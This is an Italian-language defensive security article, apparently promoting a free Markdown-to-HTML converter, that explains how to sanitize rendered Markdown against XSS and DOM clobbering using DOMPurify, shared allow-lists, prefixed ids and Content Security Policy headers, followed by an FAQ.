Prezzo: gratis. Un account aggiunge cronologia, condivisione e un'API, anche questi gratis.
Dettagli tecnici e funzioni
- Sanifica l'HTML reso, non il codice sorgente Markdown
- La stessa allow-list su entrambi i lati del confine di rete, così non possono divergere
- Gli id dei titoli sono prefissati con
doc-, che è la difesa dal DOM clobbering applicata a mano - La stessa conversione da una REST API, una CLI, una GitHub Action e un server MCP
Per chi è? Per chiunque abbia un file .md da qualche altra parte e una persona a cui inviarlo. L'output di un modello è il caso comune: trasformarlo in una pagina che qualcuno può leggere significa rendere una stringa che non hai scritto tu, che è esattamente il problema descritto in questo articolo.
Dove fallisce la scelta ovvia
DOMPurify è il default corretto e la sezione onesta riguarda i suoi limiti, perché "usiamo DOMPurify" è dove si fermano molte revisioni di sicurezza.
Ha bisogno di un DOM, e un DOM falso fallisce aperto. Su un server o spedisci jsdom o usi una libreria diversa. Dato un ambiente in cui non può funzionare, DOMPurify restituisce il suo input invariato invece di lanciare un errore, il che è la peggiore modalità di fallimento disponibile: una configurazione rotta e una funzionante producono lo stesso output identico per ogni documento che non contiene HTML. Il costo di non testare questo è un servizio che non ha mai sanificato niente e non ha modo di saperlo.
I default sono ampi, e il default pericoloso è disattivato. L'allow-list predefinita di DOMPurify è progettata per essere generalmente utile, non minimale per il tuo prodotto, e SANITIZE_NAMED_PROPS — l'opzione che effettivamente blocca il DOM clobbering — è disattivata a meno che tu non la attivi. Nessuno dei due è una critica alla libreria; entrambi sono una critica a installarla e proseguire.
Un sanificatore non può conoscere le tue variabili globali. id="config", id="state", id="init" — qualunque nome tocchi il tuo stesso codice su window — sono invisibili per lui, perché nessun sanificatore legge il tuo bundle. Prefissare ogni id superstite è la sola difesa che scala, perché smette di dipendere da una lista di nomi che qualcuno deve mantenere.
Pulito non è lo stesso di innocuo. Un'allow-list che permette <a href="https://..."> e <img src="https://..."> permette una pagina che sembra esattamente la tua schermata di login, e un'immagine il cui caricamento dice a una terza parte quando un documento è stato aperto. Nessuno dei due esegue uno script e nessuno dei due è un bug XSS. Se il tuo modello di minaccia include il phishing o le ricevute di lettura, il sanificatore non è il controllo di cui hai bisogno — img-src in una CSP è più vicino, e un interstiziale sui link in uscita ancora di più.
Tutto quello che viene dopo eredita il rischio e nessuna della garanzia. L'evidenziatore, l'iniettore di ancore, il template wrapper, l'espressione regolare "aggiungi solo target=_blank": ognuno è un posto dove l'HTML sanificato diventa HTML non sanificato senza nessun cambiamento visibile nel codice che chiama il sanificatore. È il modo più comune con cui un sanificatore corretto finisce in un report di incidente.
Il server non può impostare un header su un file. Una CSP è una proprietà di una risposta, e un file .html scaricato non è una risposta. Aperto dal disco non ha nessun header, quindi la sola politica che può portare è un tag <meta http-equiv> — che funziona per script-src e img-src e viene ignorato per frame-ancestors e sandbox. Da qui l'argomento per un export senza nessuno script del tutto: un documento senza niente di eseguibile è sicuro anche su file://, dove un header non può raggiungerlo.
Sanificare un documento che stai per consegnare a qualcun altro
Gran parte di quello che si scrive sull'XSS in Markdown presume un'applicazione web: la tua pagina, la tua origine, la tua sessione. Convertire un file è una situazione diversa con un diverso insieme di responsabilità.
Quando rendi Markdown non fidato nella tua app, stai proteggendo i tuoi utenti da un documento. Quando convertì un file Markdown e mandi l'HTML a un collega, stai proteggendo lui da un documento — uno che arriva con il tuo nome sopra, da un indirizzo di cui si fida, oltre qualunque filtraggio che la sua organizzazione applica agli allegati di estranei. Uno <script> che sopravvive alla tua conversione è stato lavato.
Ne seguono tre cose. Sanifica alla conversione anche se il file è "solo un documento", perché il browser di chi lo riceve eseguirà quello che gli mandi con la stessa disponibilità del tuo. Preferisci un export senza nessuno script a uno con script sicuri, perché né chi riceve né il suo gateway di posta possono verificare la differenza. E tieni il file autosufficiente, che è una proprietà di sicurezza tanto quanto di comodità: un documento che non richiede niente alla rete non può segnalare quando è stato letto, e non può cambiare dopo che l'hai inviato.
Poi testa la tua stessa pipeline con tre input: un attributo onerror, un link javascript:, e un id che corrisponde a una variabile globale che il tuo codice legge. Se uno dei primi due raggiunge la pagina, hai un sanificatore da aggiungere e probabilmente un header da impostare. Il terzo la raggiungerà, ed è questo il punto — controlla che arrivi sotto un prefisso invece che sotto il nome che il tuo codice legge. Se stai scegliendo un convertitore piuttosto che costruirne uno, cosa fa ogni strumento nella fase di sanificazione è la colonna che conta, e diversi strumenti apprezzati lasciano passare l'HTML grezzo per progetto.
Come scegliere
- Chiediti se l'HTML grezzo è davvero una funzione che offri. Se non lo è, fai l'escape e fermati:
html: falseinmarkdown-itnon costa niente da mantenere e non si può bypassare, e l'alternativa è un'allow-list che possiederai ancora fra tre anni. - Scegli il sanificatore che gira dove l'HTML viene reso, poi verifica che fallisca. In un browser DOMPurify usa il parser che renderà il risultato, chiudendo la lacuna della mutation XSS; su un server ogni opzione porta con sé un proprio parser, quindi scegline uno che punti alla fedeltà del browser — e verifica nella tua suite di test che un tag
<script>venga rimosso nella configurazione di produzione, perché un DOM mal configurato fallisce aperto in silenzio. - Scrivi un'allow-list e importala ovunque. Due sanificatori configurati indipendentemente divergeranno, e il giorno in cui lo fanno, il documento che si rende in sicurezza nella tua app è salvato con un
<iframe>dentro per il prossimo che lo trova. - Metti il sanificatore dopo il renderer e dopo ogni trasformazione, e prefissa ogni id che conserva. Qualunque cosa modifichi la stringa HTML più a valle sta fuori dalla garanzia del sanificatore, e il DOM clobbering non ha bisogno di nessuno script, quindi un prefisso sugli id superstiti — incluse le ancore che generano i tuoi titoli — è un cambiamento di una riga che chiude un'intera classe di bug.
- Aggiungi l'header di cui avresti bisogno se il sanificatore avesse torto.
script-src 'none',base-uri 'none'eframe-ancestors 'none'su una rotta che mostra documenti trasformano un'iniezione riuscita in una richiesta bloccata; se non puoi usarli perché la pagina esegue la tua app, è il motivo per spostare il rendering dei documenti sulla sua propria rotta.
Conclusione
Markdown permette HTML grezzo perché è stato progettato così, e nessuna quantità di attenzione in un parser lo cambia; la sicurezza di un documento Markdown reso è una proprietà di quello che fai dopo la resa. Questo significa un'allow-list scritta applicata all'HTML reso, la stessa allow-list nel browser e sul server, ogni id superstite prefissato, niente che modifichi la stringa dopo, e una Content Security Policy dietro tutto questo per il bug che non hai ancora trovato. Se preferisci non possedere quel codice per un file che devi solo convertire e inviare, la conversione da Markdown a HTML di un convertitore che sanifica per default applica quei passaggi nel tuo browser — un'allow-list, id dei titoli prefissati, un export senza script e senza richieste di rete, gratis, senza niente caricato quando hai fatto l'accesso.
Domande frequenti
Markdown è vulnerabile all'XSS?
Markdown in sé è un formato di testo, ma quasi ogni renderer Markdown lascia passare l'HTML grezzo verso l'output, il che significa che un file .md può portare <script>, onerror= e URL javascript: dritti nel browser. La vulnerabilità sta nella pipeline di rendering, non nel formato. Ogni pipeline che rende Markdown che non hai scritto tu ha bisogno di un sanificatore tra il renderer e la pagina.
DOMPurify rende Markdown sicuro da solo?
Rimuove il markup eseguibile, che è la maggior parte del lavoro, e lascia tre lacune. La sua protezione dal DOM clobbering è completa solo con SANITIZE_NAMED_PROPS attivato, non può sapere quali variabili globali legge il tuo stesso codice, e qualunque cosa modifichi la stringa HTML dopo che è passata è fuori dalla sua garanzia. Abbinalo a una Content Security Policy e tratta il suo output come definitivo.
Devo sanificare il Markdown o l'HTML?
L'HTML, sempre, e solo dopo che ogni trasformazione è avvenuta. Markdown ha più ortografie per lo stesso output e il renderer inventa markup che non è mai apparso nel codice sorgente — un autolink diventa un anchor completo, un titolo diventa un id — quindi un filtro sul codice sorgente sta controllando una stringa che non è quella che viene spedita.
Basta fare l'escape dell'HTML invece di sanificarlo?
Se i tuoi utenti non hanno bisogno di scrivere HTML, l'escape è meglio della sanificazione: produce testo, quindi non c'è niente da bypassare e nessuna allow-list da mantenere. markdown-it lo fa per default con html: false. Nel momento in cui qualcuno ha bisogno di un blocco <details> o di una tabella incorporata, sei di nuovo davanti a un'allow-list.
Cosa protegge una Content Security Policy che un sanificatore non protegge?
Il bug nel tuo sanificatore. Un sanificatore rimuove il markup che riconosce come pericoloso; una CSP dice al browser di non eseguire proprio nessuno script, il che vale anche quando qualcosa è passato attraverso. Chiude anche vettori che un'allow-list non può esprimere, come un <base href> iniettato — quello ha bisogno di base-uri 'none'.
L'HTML grezzo dentro Markdown può fare danni senza nessun JavaScript?
Sì, ed è la parte che le persone non vedono. Un attributo id oscura una variabile globale, un <base href> ripunta ogni link relativo della pagina, un <form action> manda l'input del lettore da qualche altra parte, position: fixed in un attributo style coprire la tua interfaccia con quella di qualcun altro, e un <img src> remoto segnala quando il tuo documento è stato letto. Niente di tutto questo ha bisogno di un tag script.
Un file .md è arrivato da qualcuno che non conosco — è sicuro apire l'HTML convertito?
Solo con un convertitore che sanifica, e vale la pena sapere quale. Diversi convertitori molto usati lasciano passare l'HTML grezzo per progetto e lo dicono nella loro documentazione, quindi lo <script> nel file diventa uno <script> nell'HTML che apri. Controlla il comportamento dello strumento prima di fare doppio clic sull'output, e ricorda che se rimandi avanti quell'HTML, adesso arriva da te.